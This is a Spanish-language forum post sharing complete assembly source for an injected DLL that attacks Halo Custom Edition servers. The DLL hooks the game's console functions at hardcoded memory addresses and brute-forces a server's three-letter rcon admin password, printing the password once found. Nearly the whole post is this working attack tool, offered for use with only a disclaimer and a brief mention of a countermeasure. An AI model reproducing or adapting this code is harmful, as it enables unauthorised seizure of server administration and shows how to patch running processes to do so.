Source Halo Rcon Force Brute.

Bueno, aquí os dejo este código fuente de dicha herramienta que yo mismo programe.
Código
; Halo Rcon Ataque de Fuerza Bruta v0.1.
; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
; 13 - Septiembre - 2012
 
; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
; las pueden consultar a mi correo: drinky.94@hotmail.com
 
; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.
 
format PE GUI 4.0 DLL
entry DllEntryPoint
 
include 'win32ax.inc'
 
section '.code' code readable executable
 
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
	cmp [fdwReason],1
	jne salir
 
	mov eax,[EstadoConsola]
	mov byte[eax],1 ; Emulamos que la consola esta desplegada.
 
	push Bienvenida
	push string
	xor eax,eax
	call ImprimirVerdadero	; Imprimimos mensage de bienvenida
	add esp,0x8
 
	push Autor
	push string
	xor eax,eax
	call ImprimirVerdadero	; Imprimimos autor
	add esp,0x8
 
	mov eax,[EstadoConsola]
	mov byte[eax],0
 
	invoke VirtualProtect,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos procesar
 
	mov eax,[Procesar]
 
	mov byte[eax],0x68	; push
	inc eax
	mov dword[eax],mProcesar     ; direccion
	add eax,4
	mov byte[eax],0xC3     ; ret
 
	invoke Sleep,1
 
	invoke VirtualProtect,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos imprimir
 
	mov eax,[Imprimir]
 
	mov byte[eax],0x68	; push
	inc eax
	mov dword[eax],mImprimir     ; direccion
	add eax,4
	mov byte[eax],0xC3     ; ret
 
 
	invoke GetCurrentProcess
	invoke FlushInstructionCache,eax,NULL,NULL  ; refrescamos las instrucciones
 
	salir:
	ret
endp
 
ImprimirVerdadero:    ; Función para arreglar la funcion hookeada de imprimir
	sub esp,0x10	; 6 primeros bytes de la función imprimir
	push edi
	mov edi,eax
 
	mov eax,[Imprimir]
 
	add eax,6 ; Saltamos a la función original
	jmp eax
 
mImprimir:
	mov ebp,esp
	push ebp
 
	mov eax,dword[ebp+8]  ; eax = puntero a cadena que se iva a imprimir.
 
	.if eax = 0
	    pop ebp
	    ret
	.endif
 
	cmp [HackOn],0
	je  NoFiltro
 
	; Hay que poner bandera a 1
	.if byte[eax] = 'A'
	    .if byte[eax+2] = 'c'
		pop ebp
		jmp SeguimosBus
	    .endif
	.endif
 
	.if byte[eax] = 'r'
	    .if byte[eax+2] = 'o'
		pop ebp
		SeguimosBus:
		.if [Bandera] <> 1
		    call SaltoSinFlujo
		.endif
		ret
	    .endif
	.endif
 
	.if byte[eax] = 's'
	    .if byte[eax+3] = 'r'
		pop ebp
 
		mov [Bandera],1
 
		mov edi,LimpiarConsola
		call ProcesarVerdadero ; Limpiamos la consola
 
		push OkClave
		push string
		xor eax,eax
		call ImprimirVerdadero
		add esp,8
 
		push ImprClave
		push string
		xor eax,eax
		call ImprimirVerdadero
		add esp,8
 
		mov [HackOn],0
 
		ret
	    .endif
	.endif
 
	NoFiltro:
 
	push eax
	push string
	xor eax,eax
	call ImprimirVerdadero
	add esp,0x8
 
	pop ebp
	ret
 
SaltoSinFlujo:
 
	invoke TerminateThread,[HiloViejo],0
	invoke CreateThread,0,0,DarFlujo,0,0,0
	mov [HiloViejo],eax
 
	ret
 
DarFlujo:
 
	invoke Sleep,500
 
	mov edi,LimpiarConsola
	call ProcesarVerdadero ; Limpiamos la consola
 
	jmp BucleClaves3
	ret
 
mProcesar:
	.if byte[edi] = 'm'
	    .if byte[edi+4] = 'y'
		call [CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras
 
		push Iniciando
		push string
		xor eax,eax
		call ImprimirVerdadero	; Mensage informando que vamos a iniciar el forzado.
		add esp,8
 
		invoke CreateThread,0,0,mFB,0,0,0 ; Iniciarmos Hack!
 
		mov [HackOn],1
 
		ret
	    .endif
	.endif
 
	call ProcesarVerdadero
	ret
 
mFB:
	mov edi,CadenaClave
 
	mov [Letra1],64 ; Letra1 = Primer byte
 
	BucleClaves:
 
	inc [Letra1]
 
	mov eax,CadenaClave
	add eax,5
 
	mov dl,byte[Letra1]
	mov byte[eax],dl
	mov byte[ImprClave],dl
 
	mov [Letra2],64   ; Letra2 = Segundo byte
 
	BucleClaves2:
 
	inc [Letra2]
	mov eax,CadenaClave
	add eax,6
 
	mov cl,byte[Letra2]
	mov byte[eax],cl
	mov byte[ImprClave+1],cl
 
 
	mov [Letra3],64    ; Letra3 = Tercer Byte
 
	BucleClaves3:
	inc [Letra3]
	mov eax,CadenaClave
	add eax,7
 
	mov bl,byte[Letra3]
	mov byte[eax],bl
	mov byte[ImprClave+2],bl
 
	mov eax,[EstadoConsola]
	mov byte[eax],1
 
	push ImprClave
	push string
	xor eax,eax
	call ImprimirVerdadero	; Imprimimos la Clave por la que vamos
	add esp,0x8
 
	mov edi,CadenaClave
	call ProcesarVerdadero	; Procesamos la intruccion
 
	; por aqui no se pueden poner Sleep porque el programa se salta las rcon
 
	.if [Letra3] >= 90
	     mov [Letra3],65
	     inc [Letra2]
 
	     mov eax,CadenaClave
	     add eax,6
 
	     mov cl,byte[Letra2]
	     mov byte[eax],cl
	     mov byte[ImprClave+1],cl
	.endif
 
	.if [Letra2] >= 90
	    mov [Letra2],65
	    inc [Letra1]
	    mov eax,CadenaClave
	    add eax,5
 
	    mov dl,byte[Letra1]
	    mov byte[eax],dl
	    mov byte[ImprClave],dl
	.endif
 
	ret
 
 
ProcesarVerdadero:  ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
	mov al,byte[edi]  ; Primeros 10 bytes de la funcion procesar
	sub esp,0x500
	cmp al,0x3B
 
	mov edx,[Procesar]
 
	add edx,0xA ; Saltamos a la funcion procesar verdadera
	jmp edx
 
section '.data' data readable writeable
	Bienvenida	      db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.',0
	Autor		      db '+ Programado por mDrinky.',0
	CadenaClave	      db 'rcon XXX sv_rcon_password',0 ; Hay que cambiar los bytes 6,7 y 8
	ImprClave	      db 0x0,0x0,0x0,0x0   ; Se sustitullen los 3 primeros bytes
	LimpiarConsola	      db 'cls',0
	OkClave 	      db 'La rcon del servidor es:',0
	string		      db '%s',0
	Iniciando	      db 'Iniciando Fuerza Bruta al servidor!',0
 
	Letra1		      dd ?
	Letra2		      dd ?
	Letra3		      dd ?
	oPerm		      dd ?
	HiloViejo	      dd ?
	Bandera 	      dd ?
	HackOn		      dd ?
 
	EstadoConsola	      dd 0x651E88  ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
	Procesar	      dd 0x4C9E10  ; Dirección de la funcion que procesa las instrucciones
	CerrarConsola	      dd 0x4C9980  ; Direccion de la funcion de ciera y abre la consola
	Imprimir	      dd 0x499BD0  ; Direccion de la funcion que imprime datos en pantalla
 
section '.idata' import data readable writeable
  library kernel,'KERNEL32.DLL',\
	 USER32,'USER32.DLL'
 
  import kernel,\
	 VirtualProtect,'VirtualProtect',\
	 CreateThread,'CreateThread',\
	 FlushInstructionCache,'FlushInstructionCache',\
	 GetCurrentProcess,'GetCurrentProcess',\
	 Sleep,'Sleep',\
	 TerminateThread,'TerminateThread'
 
  import USER32,\
	 MessageBoxA,'MessageBoxA'
 
section '.reloc' fixups data discardable
Tambien tengo algo implementado para evitar estos ataques, si alquien lo quiere que avise!.

un saludo.